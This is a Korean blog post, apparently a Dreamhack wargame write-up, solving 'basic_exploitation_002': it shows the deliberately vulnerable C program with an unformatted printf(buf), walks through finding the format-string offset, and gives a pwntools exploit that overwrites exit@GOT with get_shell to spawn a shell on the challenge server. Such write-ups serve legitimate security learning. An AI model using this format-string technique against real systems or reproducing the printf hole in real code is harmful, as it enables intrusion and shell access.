basic_exploitation_002 풀이

2021. 8. 2. 22:06Dreamhack Wargame

728x90

문제 제목
문제 정보
문제에서 주어진 파일

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    read(0, buf, 0x80);
    printf(buf);

    exit(0);
}

<이번 문제는 Dreamhack에 있는 Format String Bug 강의를 보고 풀었습니다>

https://dreamhack.io/learn/2/3#23

 

로그인 | Dreamhack

 

dreamhack.io

 

main() 함수에서 0x80(10진수로 128) 크기의 char형 배열 buf를 선언해줍니다.

그리고 initialize() 함수를 호출해주고, read() 함수로 buf를 0x80만큼 입력받습니다.

read()에서 딱 buf 크기만큼 입력을 받습니다.

그리고 다음 줄에서 printf() 함수로 buf를 출력해줍니다.

 

alarm_handle(), initialize(), get_shell() 함수는 각각 한 줄로 정리하도록 하겠습니다.

 

alarm_handle() : 설정한 시간이 지나면 TIME OUT을 출력하고 프로그램을 종료합니다.
initizlize() : 알람을 30초로 설정하고, 30초가 지나면 alarm_handle() 함수에 시그널을 보냅니다.
get_shell() : 쉘을 획득 할 수 있는 함수입니다.

 

여기서 중요한 부분은 get_shell()을 어떻게 실행시키냐..인데,

printf를 보니까 포멧스트링 없이 그냥 buf를 출력하고 있습니다.

이 부분에서 *포맷 스트링 버그가 발생합니다.

 

버퍼 오버플로우 해킹 기법의 한 종류로써, 사용자의 입력에 의해서 프로그램의 흐름을 변경시킬 수 있는취약점

 

실행 파일을 실행시켜서 처음 넣은 값이 몇 번째 서식 문자열에 위치하는지 확인해보겠습니다.

 

AAAA를 입력

가장 첫 번째 %p에 0x41414141이 들어가는 걸 보니 첫 번째에 위치하고 있다는 걸 알 수 있습니다.

이제 풀이를 생각해보겠습니다.

 

우선 get_shell()의 symbol값을 가져옵니다.

처음에는 read()의 ret 부분에 symbol을 넣을까 생각했지만, 크기가 딱 맞게 입력을 받으니 BOF가 불가능합니다.

 

또 다른 return이 어디 있을까, 하고 생각을 해보니 exit() 함수도 return의 한 종류라는 걸 깨달았습니다.

buf에 서식 문자열을 넣어서 FSB를 발생시키고, 그 뒤에 get_shell 함수를 실행시키면 될 것 같습니다.

get_shell을 실행시키기 위해 exit의 got를 get_shell() 함수의 symbol로 바꾸겠습니다.

 

get_shell() symbol

get_shell() 함수의 symbol을 출력해보니 0x08048609가 나왔습니다.

이 값을 한 번에 exit@got로 보내면 분명 에러가 날 것 같으니 두 번 정도 나눠서 보내겠습니다.

 

두 번 나눠서 보내려면 exit_got, exit_got+2 두 곳에 보내야 할 것입니다.

그리고 get_shell() 함수의 주소 값도 반으로 나눠야 합니다.

우선 0x0804, 0x8609 이렇게 두 개로 나누고 0x0804에는 exit_got의 바이트 수인 0x8을 빼줍니다.

 

1. 0x0804 - 0x8 = 0x7FC = 2044(10진수)

 

그리고 0x8609는 앞에서 보낸 0x0804를 제외한 나머지를 보내야 하니, 0x0804를 빼줍니다.

 

2. 0x8609 - 0x0804 = 0x7E05 = 32261(10진수)

 

이제 익스코드를 작성해보겠습니다.

 

from pwn import *

p=remote("host1.dreamhack.games",15157)
e=ELF('./basic_exploitation_002')

exit_got=e.got['exit']
get_shell=e.symbols['get_shell']

pay=p32(exit_got+2)+p32(exit_got)+"%2044c%1$hn%32261c%2$hn"
p.send(pay)

p.interactive()

FLAG 획득 완료
문제 풀이 성공

바이트 계산만 잘하고, exit_got와 exit_got+2의 순서만 헷갈리지 않는다면 바로 풀리는 문제였습니다.

728x90

'Dreamhack Wargame' 카테고리의 다른 글

basic_exploitation_003 풀이  (0) 2021.08.04
basic_heap_overflow 풀이  (0) 2021.08.03
basic_rop_x64 풀이  (0) 2021.08.01
basic_rop_x86 풀이  (0) 2021.07.31
welcome 풀이  (0) 2021.07.22